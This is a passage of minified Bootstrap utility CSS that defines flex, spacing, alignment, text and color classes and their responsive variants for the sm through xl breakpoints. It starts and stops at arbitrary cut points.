auto!important}.flex-row{flex-direction:row!important}.flex-column{flex-direction:column!important}.flex-row-reverse{flex-direction:row-reverse!important}.flex-column-reverse{flex-direction:column-reverse!important}.flex-grow-0{flex-grow:0!important}.flex-grow-1{flex-grow:1!important}.flex-shrink-0{flex-shrink:0!important}.flex-shrink-1{flex-shrink:1!important}.flex-wrap{flex-wrap:wrap!important}.flex-nowrap{flex-wrap:nowrap!important}.flex-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-0{gap:0!important}.gap-1{gap:.25rem!important}.gap-2{gap:.5rem!important}.gap-3{gap:1rem!important}.gap-4{gap:1.5rem!important}.gap-5{gap:3rem!important}.justify-content-start{justify-content:flex-start!important}.justify-content-end{justify-content:flex-end!important}.justify-content-center{justify-content:center!important}.justify-content-between{justify-content:space-between!important}.justify-content-around{justify-content:space-around!important}.justify-content-evenly{justify-content:space-evenly!important}.align-items-start{align-items:flex-start!important}.align-items-end{align-items:flex-end!important}.align-items-center{align-items:center!important}.align-items-baseline{align-items:baseline!important}.align-items-stretch{align-items:stretch!important}.align-content-start{align-content:flex-start!important}.align-content-end{align-content:flex-end!important}.align-content-center{align-content:center!important}.align-content-between{align-content:space-between!important}.align-content-around{align-content:space-around!important}.align-content-stretch{align-content:stretch!important}.align-self-auto{align-self:auto!important}.align-self-start{align-self:flex-start!important}.align-self-end{align-self:flex-end!important}.align-self-center{align-self:center!important}.align-self-baseline{align-self:baseline!important}.align-self-stretch{align-self:stretch!important}.order-first{order:-1!important}.order-0{order:0!important}.order-1{order:1!important}.order-2{order:2!important}.order-3{order:3!important}.order-4{order:4!important}.order-5{order:5!important}.order-last{order:6!important}.m-0{margin:0!important}.m-1{margin:.25rem!important}.m-2{margin:.5rem!important}.m-3{margin:1rem!important}.m-4{margin:1.5rem!important}.m-5{margin:3rem!important}.m-auto{margin:auto!important}.mx-0{margin-right:0!important;margin-left:0!important}.mx-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-3{margin-right:1rem!important;margin-left:1rem!important}.mx-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-5{margin-right:3rem!important;margin-left:3rem!important}.mx-auto{margin-right:auto!important;margin-left:auto!important}.my-0{margin-top:0!important;margin-bottom:0!important}.my-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-0{margin-top:0!important}.mt-1{margin-top:.25rem!important}.mt-2{margin-top:.5rem!important}.mt-3{margin-top:1rem!important}.mt-4{margin-top:1.5rem!important}.mt-5{margin-top:3rem!important}.mt-auto{margin-top:auto!important}.me-0{margin-right:0!important}.me-1{margin-right:.25rem!important}.me-2{margin-right:.5rem!important}.me-3{margin-right:1rem!important}.me-4{margin-right:1.5rem!important}.me-5{margin-right:3rem!important}.me-auto{margin-right:auto!important}.mb-0{margin-bottom:0!important}.mb-1{margin-bottom:.25rem!important}.mb-2{margin-bottom:.5rem!important}.mb-3{margin-bottom:1rem!important}.mb-4{margin-bottom:1.5rem!important}.mb-5{margin-bottom:3rem!important}.mb-auto{margin-bottom:auto!important}.ms-0{margin-left:0!important}.ms-1{margin-left:.25rem!important}.ms-2{margin-left:.5rem!important}.ms-3{margin-left:1rem!important}.ms-4{margin-left:1.5rem!important}.ms-5{margin-left:3rem!important}.ms-auto{margin-left:auto!important}.p-0{padding:0!important}.p-1{padding:.25rem!important}.p-2{padding:.5rem!important}.p-3{padding:1rem!important}.p-4{padding:1.5rem!important}.p-5{padding:3rem!important}.px-0{padding-right:0!important;padding-left:0!important}.px-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-3{padding-right:1rem!important;padding-left:1rem!important}.px-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-5{padding-right:3rem!important;padding-left:3rem!important}.py-0{padding-top:0!important;padding-bottom:0!important}.py-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-0{padding-top:0!important}.pt-1{padding-top:.25rem!important}.pt-2{padding-top:.5rem!important}.pt-3{padding-top:1rem!important}.pt-4{padding-top:1.5rem!important}.pt-5{padding-top:3rem!important}.pe-0{padding-right:0!important}.pe-1{padding-right:.25rem!important}.pe-2{padding-right:.5rem!important}.pe-3{padding-right:1rem!important}.pe-4{padding-right:1.5rem!important}.pe-5{padding-right:3rem!important}.pb-0{padding-bottom:0!important}.pb-1{padding-bottom:.25rem!important}.pb-2{padding-bottom:.5rem!important}.pb-3{padding-bottom:1rem!important}.pb-4{padding-bottom:1.5rem!important}.pb-5{padding-bottom:3rem!important}.ps-0{padding-left:0!important}.ps-1{padding-left:.25rem!important}.ps-2{padding-left:.5rem!important}.ps-3{padding-left:1rem!important}.ps-4{padding-left:1.5rem!important}.ps-5{padding-left:3rem!important}.font-monospace{font-family:var(--bs-font-monospace)!important}.fs-1{font-size:calc(1.375rem + 1.5vw)!important}.fs-2{font-size:calc(1.325rem + .9vw)!important}.fs-3{font-size:calc(1.3rem + .6vw)!important}.fs-4{font-size:calc(1.275rem + .3vw)!important}.fs-5{font-size:1.25rem!important}.fs-6{font-size:1rem!important}.fst-italic{font-style:italic!important}.fst-normal{font-style:normal!important}.fw-light{font-weight:300!important}.fw-lighter{font-weight:lighter!important}.fw-normal{font-weight:400!important}.fw-bold{font-weight:700!important}.fw-bolder{font-weight:bolder!important}.lh-1{line-height:1!important}.lh-sm{line-height:1.25!important}.lh-base{line-height:1.5!important}.lh-lg{line-height:2!important}.text-start{text-align:left!important}.text-end{text-align:right!important}.text-center{text-align:center!important}.text-decoration-none{text-decoration:none!important}.text-decoration-underline{text-decoration:underline!important}.text-decoration-line-through{text-decoration:line-through!important}.text-lowercase{text-transform:lowercase!important}.text-uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.text-wrap{white-space:normal!important}.text-nowrap{white-space:nowrap!important}.text-break{word-wrap:break-word!important;word-break:break-word!important}.text-primary{color:#0d6efd!important}.text-secondary{color:#6c757d!important}.text-success{color:#198754!important}.text-info{color:#0dcaf0!important}.text-warning{color:#ffc107!important}.text-danger{color:#dc3545!important}.text-light{color:#f8f9fa!important}.text-dark{color:#212529!important}.text-white{color:#fff!important}.text-body{color:#212529!important}.text-muted{color:#6c757d!important}.text-black-50{color:rgba(0,0,0,.5)!important}.text-white-50{color:rgba(255,255,255,.5)!important}.text-reset{color:inherit!important}.bg-primary{background-color:#0d6efd!important}.bg-secondary{background-color:#6c757d!important}.bg-success{background-color:#198754!important}.bg-info{background-color:#0dcaf0!important}.bg-warning{background-color:#ffc107!important}.bg-danger{background-color:#dc3545!important}.bg-light{background-color:#f8f9fa!important}.bg-dark{background-color:#212529!important}.bg-body{background-color:#fff!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.bg-gradient{background-image:var(--bs-gradient)!important}.user-select-all{-webkit-user-select:all!important;-moz-user-select:all!important;user-select:all!important}.user-select-auto{-webkit-user-select:auto!important;-moz-user-select:auto!important;user-select:auto!important}.user-select-none{-webkit-user-select:none!important;-moz-user-select:none!important;user-select:none!important}.pe-none{pointer-events:none!important}.pe-auto{pointer-events:auto!important}.rounded{border-radius:.25rem!important}.rounded-0{border-radius:0!important}.rounded-1{border-radius:.2rem!important}.rounded-2{border-radius:.25rem!important}.rounded-3{border-radius:.3rem!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-end{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-start{border-bottom-left-radius:.25rem!important;border-top-left-radius:.25rem!important}.visible{visibility:visible!important}.invisible{visibility:hidden!important}@media (min-width:576px){.float-sm-start{float:left!important}.float-sm-end{float:right!important}.float-sm-none{float:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-grid{display:grid!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:flex!important}.d-sm-inline-flex{display:inline-flex!important}.d-sm-none{display:none!important}.flex-sm-fill{flex:1 1 auto!important}.flex-sm-row{flex-direction:row!important}.flex-sm-column{flex-direction:column!important}.flex-sm-row-reverse{flex-direction:row-reverse!important}.flex-sm-column-reverse{flex-direction:column-reverse!important}.flex-sm-grow-0{flex-grow:0!important}.flex-sm-grow-1{flex-grow:1!important}.flex-sm-shrink-0{flex-shrink:0!important}.flex-sm-shrink-1{flex-shrink:1!important}.flex-sm-wrap{flex-wrap:wrap!important}.flex-sm-nowrap{flex-wrap:nowrap!important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-sm-0{gap:0!important}.gap-sm-1{gap:.25rem!important}.gap-sm-2{gap:.5rem!important}.gap-sm-3{gap:1rem!important}.gap-sm-4{gap:1.5rem!important}.gap-sm-5{gap:3rem!important}.justify-content-sm-start{justify-content:flex-start!important}.justify-content-sm-end{justify-content:flex-end!important}.justify-content-sm-center{justify-content:center!important}.justify-content-sm-between{justify-content:space-between!important}.justify-content-sm-around{justify-content:space-around!important}.justify-content-sm-evenly{justify-content:space-evenly!important}.align-items-sm-start{align-items:flex-start!important}.align-items-sm-end{align-items:flex-end!important}.align-items-sm-center{align-items:center!important}.align-items-sm-baseline{align-items:baseline!important}.align-items-sm-stretch{align-items:stretch!important}.align-content-sm-start{align-content:flex-start!important}.align-content-sm-end{align-content:flex-end!important}.align-content-sm-center{align-content:center!important}.align-content-sm-between{align-content:space-between!important}.align-content-sm-around{align-content:space-around!important}.align-content-sm-stretch{align-content:stretch!important}.align-self-sm-auto{align-self:auto!important}.align-self-sm-start{align-self:flex-start!important}.align-self-sm-end{align-self:flex-end!important}.align-self-sm-center{align-self:center!important}.align-self-sm-baseline{align-self:baseline!important}.align-self-sm-stretch{align-self:stretch!important}.order-sm-first{order:-1!important}.order-sm-0{order:0!important}.order-sm-1{order:1!important}.order-sm-2{order:2!important}.order-sm-3{order:3!important}.order-sm-4{order:4!important}.order-sm-5{order:5!important}.order-sm-last{order:6!important}.m-sm-0{margin:0!important}.m-sm-1{margin:.25rem!important}.m-sm-2{margin:.5rem!important}.m-sm-3{margin:1rem!important}.m-sm-4{margin:1.5rem!important}.m-sm-5{margin:3rem!important}.m-sm-auto{margin:auto!important}.mx-sm-0{margin-right:0!important;margin-left:0!important}.mx-sm-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-sm-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-sm-3{margin-right:1rem!important;margin-left:1rem!important}.mx-sm-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-sm-5{margin-right:3rem!important;margin-left:3rem!important}.mx-sm-auto{margin-right:auto!important;margin-left:auto!important}.my-sm-0{margin-top:0!important;margin-bottom:0!important}.my-sm-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-sm-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-sm-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-sm-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-sm-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-sm-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-sm-0{margin-top:0!important}.mt-sm-1{margin-top:.25rem!important}.mt-sm-2{margin-top:.5rem!important}.mt-sm-3{margin-top:1rem!important}.mt-sm-4{margin-top:1.5rem!important}.mt-sm-5{margin-top:3rem!important}.mt-sm-auto{margin-top:auto!important}.me-sm-0{margin-right:0!important}.me-sm-1{margin-right:.25rem!important}.me-sm-2{margin-right:.5rem!important}.me-sm-3{margin-right:1rem!important}.me-sm-4{margin-right:1.5rem!important}.me-sm-5{margin-right:3rem!important}.me-sm-auto{margin-right:auto!important}.mb-sm-0{margin-bottom:0!important}.mb-sm-1{margin-bottom:.25rem!important}.mb-sm-2{margin-bottom:.5rem!important}.mb-sm-3{margin-bottom:1rem!important}.mb-sm-4{margin-bottom:1.5rem!important}.mb-sm-5{margin-bottom:3rem!important}.mb-sm-auto{margin-bottom:auto!important}.ms-sm-0{margin-left:0!important}.ms-sm-1{margin-left:.25rem!important}.ms-sm-2{margin-left:.5rem!important}.ms-sm-3{margin-left:1rem!important}.ms-sm-4{margin-left:1.5rem!important}.ms-sm-5{margin-left:3rem!important}.ms-sm-auto{margin-left:auto!important}.p-sm-0{padding:0!important}.p-sm-1{padding:.25rem!important}.p-sm-2{padding:.5rem!important}.p-sm-3{padding:1rem!important}.p-sm-4{padding:1.5rem!important}.p-sm-5{padding:3rem!important}.px-sm-0{padding-right:0!important;padding-left:0!important}.px-sm-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-sm-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-sm-3{padding-right:1rem!important;padding-left:1rem!important}.px-sm-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-sm-5{padding-right:3rem!important;padding-left:3rem!important}.py-sm-0{padding-top:0!important;padding-bottom:0!important}.py-sm-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-sm-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-sm-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-sm-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-sm-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-sm-0{padding-top:0!important}.pt-sm-1{padding-top:.25rem!important}.pt-sm-2{padding-top:.5rem!important}.pt-sm-3{padding-top:1rem!important}.pt-sm-4{padding-top:1.5rem!important}.pt-sm-5{padding-top:3rem!important}.pe-sm-0{padding-right:0!important}.pe-sm-1{padding-right:.25rem!important}.pe-sm-2{padding-right:.5rem!important}.pe-sm-3{padding-right:1rem!important}.pe-sm-4{padding-right:1.5rem!important}.pe-sm-5{padding-right:3rem!important}.pb-sm-0{padding-bottom:0!important}.pb-sm-1{padding-bottom:.25rem!important}.pb-sm-2{padding-bottom:.5rem!important}.pb-sm-3{padding-bottom:1rem!important}.pb-sm-4{padding-bottom:1.5rem!important}.pb-sm-5{padding-bottom:3rem!important}.ps-sm-0{padding-left:0!important}.ps-sm-1{padding-left:.25rem!important}.ps-sm-2{padding-left:.5rem!important}.ps-sm-3{padding-left:1rem!important}.ps-sm-4{padding-left:1.5rem!important}.ps-sm-5{padding-left:3rem!important}.text-sm-start{text-align:left!important}.text-sm-end{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.float-md-start{float:left!important}.float-md-end{float:right!important}.float-md-none{float:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-grid{display:grid!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:flex!important}.d-md-inline-flex{display:inline-flex!important}.d-md-none{display:none!important}.flex-md-fill{flex:1 1 auto!important}.flex-md-row{flex-direction:row!important}.flex-md-column{flex-direction:column!important}.flex-md-row-reverse{flex-direction:row-reverse!important}.flex-md-column-reverse{flex-direction:column-reverse!important}.flex-md-grow-0{flex-grow:0!important}.flex-md-grow-1{flex-grow:1!important}.flex-md-shrink-0{flex-shrink:0!important}.flex-md-shrink-1{flex-shrink:1!important}.flex-md-wrap{flex-wrap:wrap!important}.flex-md-nowrap{flex-wrap:nowrap!important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-md-0{gap:0!important}.gap-md-1{gap:.25rem!important}.gap-md-2{gap:.5rem!important}.gap-md-3{gap:1rem!important}.gap-md-4{gap:1.5rem!important}.gap-md-5{gap:3rem!important}.justify-content-md-start{justify-content:flex-start!important}.justify-content-md-end{justify-content:flex-end!important}.justify-content-md-center{justify-content:center!important}.justify-content-md-between{justify-content:space-between!important}.justify-content-md-around{justify-content:space-around!important}.justify-content-md-evenly{justify-content:space-evenly!important}.align-items-md-start{align-items:flex-start!important}.align-items-md-end{align-items:flex-end!important}.align-items-md-center{align-items:center!important}.align-items-md-baseline{align-items:baseline!important}.align-items-md-stretch{align-items:stretch!important}.align-content-md-start{align-content:flex-start!important}.align-content-md-end{align-content:flex-end!important}.align-content-md-center{align-content:center!important}.align-content-md-between{align-content:space-between!important}.align-content-md-around{align-content:space-around!important}.align-content-md-stretch{align-content:stretch!important}.align-self-md-auto{align-self:auto!important}.align-self-md-start{align-self:flex-start!important}.align-self-md-end{align-self:flex-end!important}.align-self-md-center{align-self:center!important}.align-self-md-baseline{align-self:baseline!important}.align-self-md-stretch{align-self:stretch!important}.order-md-first{order:-1!important}.order-md-0{order:0!important}.order-md-1{order:1!important}.order-md-2{order:2!important}.order-md-3{order:3!important}.order-md-4{order:4!important}.order-md-5{order:5!important}.order-md-last{order:6!important}.m-md-0{margin:0!important}.m-md-1{margin:.25rem!important}.m-md-2{margin:.5rem!important}.m-md-3{margin:1rem!important}.m-md-4{margin:1.5rem!important}.m-md-5{margin:3rem!important}.m-md-auto{margin:auto!important}.mx-md-0{margin-right:0!important;margin-left:0!important}.mx-md-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-md-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-md-3{margin-right:1rem!important;margin-left:1rem!important}.mx-md-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-md-5{margin-right:3rem!important;margin-left:3rem!important}.mx-md-auto{margin-right:auto!important;margin-left:auto!important}.my-md-0{margin-top:0!important;margin-bottom:0!important}.my-md-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-md-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-md-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-md-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-md-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-md-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-md-0{margin-top:0!important}.mt-md-1{margin-top:.25rem!important}.mt-md-2{margin-top:.5rem!important}.mt-md-3{margin-top:1rem!important}.mt-md-4{margin-top:1.5rem!important}.mt-md-5{margin-top:3rem!important}.mt-md-auto{margin-top:auto!important}.me-md-0{margin-right:0!important}.me-md-1{margin-right:.25rem!important}.me-md-2{margin-right:.5rem!important}.me-md-3{margin-right:1rem!important}.me-md-4{margin-right:1.5rem!important}.me-md-5{margin-right:3rem!important}.me-md-auto{margin-right:auto!important}.mb-md-0{margin-bottom:0!important}.mb-md-1{margin-bottom:.25rem!important}.mb-md-2{margin-bottom:.5rem!important}.mb-md-3{margin-bottom:1rem!important}.mb-md-4{margin-bottom:1.5rem!important}.mb-md-5{margin-bottom:3rem!important}.mb-md-auto{margin-bottom:auto!important}.ms-md-0{margin-left:0!important}.ms-md-1{margin-left:.25rem!important}.ms-md-2{margin-left:.5rem!important}.ms-md-3{margin-left:1rem!important}.ms-md-4{margin-left:1.5rem!important}.ms-md-5{margin-left:3rem!important}.ms-md-auto{margin-left:auto!important}.p-md-0{padding:0!important}.p-md-1{padding:.25rem!important}.p-md-2{padding:.5rem!important}.p-md-3{padding:1rem!important}.p-md-4{padding:1.5rem!important}.p-md-5{padding:3rem!important}.px-md-0{padding-right:0!important;padding-left:0!important}.px-md-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-md-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-md-3{padding-right:1rem!important;padding-left:1rem!important}.px-md-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-md-5{padding-right:3rem!important;padding-left:3rem!important}.py-md-0{padding-top:0!important;padding-bottom:0!important}.py-md-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-md-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-md-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-md-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-md-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-md-0{padding-top:0!important}.pt-md-1{padding-top:.25rem!important}.pt-md-2{padding-top:.5rem!important}.pt-md-3{padding-top:1rem!important}.pt-md-4{padding-top:1.5rem!important}.pt-md-5{padding-top:3rem!important}.pe-md-0{padding-right:0!important}.pe-md-1{padding-right:.25rem!important}.pe-md-2{padding-right:.5rem!important}.pe-md-3{padding-right:1rem!important}.pe-md-4{padding-right:1.5rem!important}.pe-md-5{padding-right:3rem!important}.pb-md-0{padding-bottom:0!important}.pb-md-1{padding-bottom:.25rem!important}.pb-md-2{padding-bottom:.5rem!important}.pb-md-3{padding-bottom:1rem!important}.pb-md-4{padding-bottom:1.5rem!important}.pb-md-5{padding-bottom:3rem!important}.ps-md-0{padding-left:0!important}.ps-md-1{padding-left:.25rem!important}.ps-md-2{padding-left:.5rem!important}.ps-md-3{padding-left:1rem!important}.ps-md-4{padding-left:1.5rem!important}.ps-md-5{padding-left:3rem!important}.text-md-start{text-align:left!important}.text-md-end{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.float-lg-start{float:left!important}.float-lg-end{float:right!important}.float-lg-none{float:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-grid{display:grid!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:flex!important}.d-lg-inline-flex{display:inline-flex!important}.d-lg-none{display:none!important}.flex-lg-fill{flex:1 1 auto!important}.flex-lg-row{flex-direction:row!important}.flex-lg-column{flex-direction:column!important}.flex-lg-row-reverse{flex-direction:row-reverse!important}.flex-lg-column-reverse{flex-direction:column-reverse!important}.flex-lg-grow-0{flex-grow:0!important}.flex-lg-grow-1{flex-grow:1!important}.flex-lg-shrink-0{flex-shrink:0!important}.flex-lg-shrink-1{flex-shrink:1!important}.flex-lg-wrap{flex-wrap:wrap!important}.flex-lg-nowrap{flex-wrap:nowrap!important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-lg-0{gap:0!important}.gap-lg-1{gap:.25rem!important}.gap-lg-2{gap:.5rem!important}.gap-lg-3{gap:1rem!important}.gap-lg-4{gap:1.5rem!important}.gap-lg-5{gap:3rem!important}.justify-content-lg-start{justify-content:flex-start!important}.justify-content-lg-end{justify-content:flex-end!important}.justify-content-lg-center{justify-content:center!important}.justify-content-lg-between{justify-content:space-between!important}.justify-content-lg-around{justify-content:space-around!important}.justify-content-lg-evenly{justify-content:space-evenly!important}.align-items-lg-start{align-items:flex-start!important}.align-items-lg-end{align-items:flex-end!important}.align-items-lg-center{align-items:center!important}.align-items-lg-baseline{align-items:baseline!important}.align-items-lg-stretch{align-items:stretch!important}.align-content-lg-start{align-content:flex-start!important}.align-content-lg-end{align-content:flex-end!important}.align-content-lg-center{align-content:center!important}.align-content-lg-between{align-content:space-between!important}.align-content-lg-around{align-content:space-around!important}.align-content-lg-stretch{align-content:stretch!important}.align-self-lg-auto{align-self:auto!important}.align-self-lg-start{align-self:flex-start!important}.align-self-lg-end{align-self:flex-end!important}.align-self-lg-center{align-self:center!important}.align-self-lg-baseline{align-self:baseline!important}.align-self-lg-stretch{align-self:stretch!important}.order-lg-first{order:-1!important}.order-lg-0{order:0!important}.order-lg-1{order:1!important}.order-lg-2{order:2!important}.order-lg-3{order:3!important}.order-lg-4{order:4!important}.order-lg-5{order:5!important}.order-lg-last{order:6!important}.m-lg-0{margin:0!important}.m-lg-1{margin:.25rem!important}.m-lg-2{margin:.5rem!important}.m-lg-3{margin:1rem!important}.m-lg-4{margin:1.5rem!important}.m-lg-5{margin:3rem!important}.m-lg-auto{margin:auto!important}.mx-lg-0{margin-right:0!important;margin-left:0!important}.mx-lg-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-lg-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-lg-3{margin-right:1rem!important;margin-left:1rem!important}.mx-lg-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-lg-5{margin-right:3rem!important;margin-left:3rem!important}.mx-lg-auto{margin-right:auto!important;margin-left:auto!important}.my-lg-0{margin-top:0!important;margin-bottom:0!important}.my-lg-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-lg-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-lg-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-lg-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-lg-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-lg-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-lg-0{margin-top:0!important}.mt-lg-1{margin-top:.25rem!important}.mt-lg-2{margin-top:.5rem!important}.mt-lg-3{margin-top:1rem!important}.mt-lg-4{margin-top:1.5rem!important}.mt-lg-5{margin-top:3rem!important}.mt-lg-auto{margin-top:auto!important}.me-lg-0{margin-right:0!important}.me-lg-1{margin-right:.25rem!important}.me-lg-2{margin-right:.5rem!important}.me-lg-3{margin-right:1rem!important}.me-lg-4{margin-right:1.5rem!important}.me-lg-5{margin-right:3rem!important}.me-lg-auto{margin-right:auto!important}.mb-lg-0{margin-bottom:0!important}.mb-lg-1{margin-bottom:.25rem!important}.mb-lg-2{margin-bottom:.5rem!important}.mb-lg-3{margin-bottom:1rem!important}.mb-lg-4{margin-bottom:1.5rem!important}.mb-lg-5{margin-bottom:3rem!important}.mb-lg-auto{margin-bottom:auto!important}.ms-lg-0{margin-left:0!important}.ms-lg-1{margin-left:.25rem!important}.ms-lg-2{margin-left:.5rem!important}.ms-lg-3{margin-left:1rem!important}.ms-lg-4{margin-left:1.5rem!important}.ms-lg-5{margin-left:3rem!important}.ms-lg-auto{margin-left:auto!important}.p-lg-0{padding:0!important}.p-lg-1{padding:.25rem!important}.p-lg-2{padding:.5rem!important}.p-lg-3{padding:1rem!important}.p-lg-4{padding:1.5rem!important}.p-lg-5{padding:3rem!important}.px-lg-0{padding-right:0!important;padding-left:0!important}.px-lg-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-lg-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-lg-3{padding-right:1rem!important;padding-left:1rem!important}.px-lg-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-lg-5{padding-right:3rem!important;padding-left:3rem!important}.py-lg-0{padding-top:0!important;padding-bottom:0!important}.py-lg-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-lg-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-lg-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-lg-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-lg-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-lg-0{padding-top:0!important}.pt-lg-1{padding-top:.25rem!important}.pt-lg-2{padding-top:.5rem!important}.pt-lg-3{padding-top:1rem!important}.pt-lg-4{padding-top:1.5rem!important}.pt-lg-5{padding-top:3rem!important}.pe-lg-0{padding-right:0!important}.pe-lg-1{padding-right:.25rem!important}.pe-lg-2{padding-right:.5rem!important}.pe-lg-3{padding-right:1rem!important}.pe-lg-4{padding-right:1.5rem!important}.pe-lg-5{padding-right:3rem!important}.pb-lg-0{padding-bottom:0!important}.pb-lg-1{padding-bottom:.25rem!important}.pb-lg-2{padding-bottom:.5rem!important}.pb-lg-3{padding-bottom:1rem!important}.pb-lg-4{padding-bottom:1.5rem!important}.pb-lg-5{padding-bottom:3rem!important}.ps-lg-0{padding-left:0!important}.ps-lg-1{padding-left:.25rem!important}.ps-lg-2{padding-left:.5rem!important}.ps-lg-3{padding-left:1rem!important}.ps-lg-4{padding-left:1.5rem!important}.ps-lg-5{padding-left:3rem!important}.text-lg-start{text-align:left!important}.text-lg-end{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.float-xl-start{float:left!important}.float-xl-end{float:right!important}.float-xl-none{float:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-grid{display:grid!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:flex!important}.d-xl-inline-flex{display:inline-flex!important}.d-xl-none{display:none!important}.flex-xl-fill{flex:1 1 auto!important}.flex-xl-row{flex-direction:row!important}.flex-xl-column{flex-direction:column!important}.flex-xl-row-reverse{flex-direction:row-reverse!important}.flex-xl-column-reverse{flex-direction:column-reverse!important}.flex-xl-grow-0{flex-grow:0!important}.flex-xl-grow-1{flex-grow:1!important}.flex-xl-shrink-0{flex-shrink:0!important}.flex-xl-shrink-1{flex-shrink:1!important}.flex-xl-wrap{flex-wrap:wrap!important}.flex-xl-nowrap{flex-wrap:nowrap!important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-xl-0{gap:0!important}.gap-xl-1{gap:.25rem!important}.gap-xl-2{gap:.5rem!important}.gap-xl-3{gap:1rem!important}.gap-xl-4{gap:1.5rem!important}.gap-xl-5{gap:3rem!important}.justify-content-xl-start{justify-content:flex-start!important}.justify-content-xl-end{justify-content:flex-end!important}.justify-content-xl-center{justify-content:center!important}.justify-content-xl-between{justify-content:space-between!important}.justify-content-xl-around{justify-content:space-around!important}.justify-content-xl-evenly{justify-content:space-evenly!important}.align-items-xl-start{align-items